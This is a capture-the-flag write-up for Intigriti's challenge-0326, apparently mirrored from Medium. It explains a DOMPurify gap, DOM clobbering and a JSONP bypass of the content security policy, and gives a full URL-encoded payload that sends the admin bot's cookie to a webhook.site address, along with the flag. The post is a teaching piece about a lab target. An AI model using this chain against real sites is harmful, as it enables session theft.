How I Stole the Admin’s Cookie — Intigriti challenge-0326

mah3sec.medium.com · Mahendra Purbia (Mah3Sec) · 11 days ago · research
quality 7/10 · good
0 net
Tags
How I Stole the Admin's Cookie — Intigriti challenge-0326 | by Mahendra Purbia (Mah3Sec) - Freedium Milestone: 20GB Reached We’ve reached 20GB of stored data — thank you for helping us grow! Patreon Ko-fi Liberapay Close < Go to the original How I Stole the Admin's Cookie — Intigriti challenge-0326 Hey Infosec buddies! Mahendra Purbia (Mah3Sec) here; Intigriti dropped their March 2026 CTF and honestly when I first looked at it I… Mahendra Purbia (Mah3Sec) Follow ~6 min read · March 24, 2026 (Updated: March 24, 2026) · Free: Yes Hey Infosec buddies! Mahendra Purbia (Mah3Sec) here; Intigriti dropped their March 2026 CTF and honestly when I first looked at it I thought okay, search box, some JavaScript, a Report to Admin button, simple right? Wrong. Things got spicy real fast. Let me break this down in the simplest way possible; no scary jargon, I promise. Even if you've never touched source code in your life, by the end of this you'll understand exactly what happened. 🕸️What Is This Challenge Even About? The target https://challenge-0326.intigriti.io/challenge.html is a fake Secure Search Portal — looks like a threat intelligence tool. You type something in the search box and it shows results. There's also a Report it to Admin button at the bottom. The goal? Steal the admin bot's cookie. That cookie contains the flag. Think of it like this — the admin bot is J. Jonah Jameson sitting in his office. His cookie is the front page headline. We need to sneak in and grab it without him noticing. stealth mode Step 1 — Reading the Source Code (Don't Panic!) I know source code review sounds scary. But think of it like reading the blueprints of a building before you break in. You're just looking for the door someone left unlocked. I opened DevTools → Sources and found three JS files: • purify.min.js — the security guard (DOMPurify sanitizer) • components.js — handles loading extra page features • main.js — the brain of the page The key part in main.js was this: const cleanHTML = DOMPurify.sanitize(q, { FORBID_ATTR: ['id', 'class', 'style'], KEEP_CONTENT: true }); resultsContainer.innerHTML = cleanHTML; In plain English: Whatever you type in the search box gets cleaned by DOMPurify and pasted directly into the page. This is called a sink where your input lands on the page. DOMPurify was told to block id, class and style attributes, but nobody told it to block name or data-* attributes. That's our unlocked door. Step 2 — DOM Clobbering (Sounds Scary, Super Simple) Okay here's where it gets fun. Let me explain DOM Clobbering like you're 10 years old. 🕷 You know how in Spider-Man, Miles Morales and Peter Parker can both be Spider-Man at the same time? And sometimes people get confused about which one they're talking to? DOM Clobbering is exactly that. We trick the browser into thinking a fake HTML element IS a JavaScript variable. let's confuse the browser The page has this in components.js: let config = window.authConfig || { dataset: { next: '/', append: 'false' } }; let redirectUrl = config.dataset.next; if (config.dataset.append === 'true') { redirectUrl += 'token=' + encodeURIComponent(document.cookie); } window.location.href = redirectUrl; Plain English: The page checks window.authConfig to decide where to redirect and whether to attach the cookie to the URL. Normally window.authConfig is undefined. But if I inject this into the page:
The browser says 'oh window.authConfig? That's this form element!' and data-next becomes .dataset.next and data-append becomes .dataset.append. ✅ DOMPurify lets this through because name= and data-* are NOT in its blocklist! We basically put on the Spider-Man suit and convinced the browser we're the real deal. Step 3 — Getting the Code to Actually Run (ComponentManager) Now I need to actually CALL that redirect function. Just injecting HTML isn't enough — I need JavaScript to execute. The page has a ComponentManager in components.js that does this: let scriptUrl = config.path + config.type + '.js'; let s = document.createElement('script'); s.src = scriptUrl; document.head.appendChild(s); Plain English: If you put a special data-component div in the page, it will load a JavaScript file from whatever path you give it. But there's a catch — the Content Security Policy (CSP) says script-src 'self'. Think of CSP as the Daily Bugle's security guard who only lets in people from the building. No outsiders allowed. I can't just point it to my own server. I need a script file that already lives on the challenge server. trying to bypass the blocker Step 4 — Finding the Hidden JSONP Endpoint This is where the Intigriti tip came in: "find the hidden api endpoint that lets you choose the callback." After scanning the server I found /api/stats — a hidden endpoint. Here's how it works: GET /api/stats?callback=myFunction Returns: myFunction({"users":1337,"active":42,"status":"Operational"}) This is called JSONP — basically the server wraps its data inside whatever function name you give it. With application/javascript content type. So if I tell it callback=window.Auth.loginRedirect… the server returns: window.Auth.loginRedirect({"users":1337,"active":42}) That's valid JavaScript from the same origin — the security guard lets it in! The CSP is completely happy because the script comes from the challenge server itself. I'm in Step 5 — Putting It All Together Here's the full payload two HTML elements working together:
What happens when the admin bot visits the exploit URL: • DOMPurify sanitizes the input — lets both elements through ✅ • window.authConfig gets clobbered by the form — now points to our webhook ✅ • ComponentManager picks up the div and loads /api/stats?callback=window.Auth.loginRedirect&x=.js ✅ • Server returns window.Auth.loginRedirect({…}) — function fires ✅ • Cookie gets appended to our webhook URL and the bot navigates there ✅ • Flag arrives in our inbox🏆 Spider-Man catching the villain / 'gotcha' 📬Proof of Concept — Steps to Reproduce 1. Set up a webhook at webhook.site to catch incoming requests. 2. Open the challenge page: https://challenge-0326.intigriti.io/challenge.html 3. Click "Report it to Admin" at the bottom of the page. 4. Clear the pre-filled URL in the modal and paste the following URL exactly as shown — do not modify it: https://challenge-0326.intigriti.io/challenge.html?q= %3Cform%20name%3D%22authConfig%22%20data-next%3D%22 https%3A%2F%2Fwebhook.site%2F5b1e0a60–1542–4aba-90e2–3d8490f8f1bc %3Fc%3D%22%20data-append%3D%22true%22%3E%3C%2Fform%3E %3Cdiv%20data-component%3D%22true%22%20data-config%3D%27 %7B%22path%22%3A%22%2Fapi%2Fstats%3Fcallback%3D window.Auth.loginRedirect%26x%3D%22%2C%22type%22%3A%22%22%7D%27%3E%3C%2Fdiv%3E ⚠️ Always paste the URL-encoded version. Pasting the raw HTML with < and > breaks the URL and the exploit won't work. 5. Click "Send to Admin". 6. Check your webhook — the flag arrives in the token parameter! PoC 🏆The Flag FLAG=INTIGRITI{019cdb71-fcd4–77cc-b15f-d8a3b6d63947} Attack Chain Summary 📓What We Learned Today XSS sink: Where your input lands on the page — innerHTML here. DOMPurify bypass: Sanitizer blocked id but forgot name and data-*. DOM Clobbering: Tricking the browser into thinking an HTML element is a JS variable. JSONP: Server wraps data in a function name you choose — we chose window.Auth.loginRedirect. CSP bypass: Used a same-origin JSONP endpoint so the security policy allowed it. 🕷 Final Words This challenge was a perfect example of how multiple small misconfigurations chain together into a full exploit. None of these bugs alone would have been enough; but together they gave us full cookie theft. If you're scared of code review don't be. You're not reading all of it. You're just looking for where the user input goes and what it does when it gets there. That's it. Thanks for reading! If this helped you learn something drop a follow and share it with a friend who thinks hacking is just in the movies. 😂 💬 Connect with me: 🐦 Twitter 📺 Youtube-Podcast 🔗 LinkedIn Remember, with great power comes great responsibility. #bug-bounty #pentesting #ctf-writeup #cybersecurity #infosec Reporting a Problem Sometimes we have problems displaying some Medium posts. If you have a problem that some images aren't loading - try using VPN. Probably you have problem with access to Medium CDN (or fucking Cloudflare's bot detection algorithms are blocking you).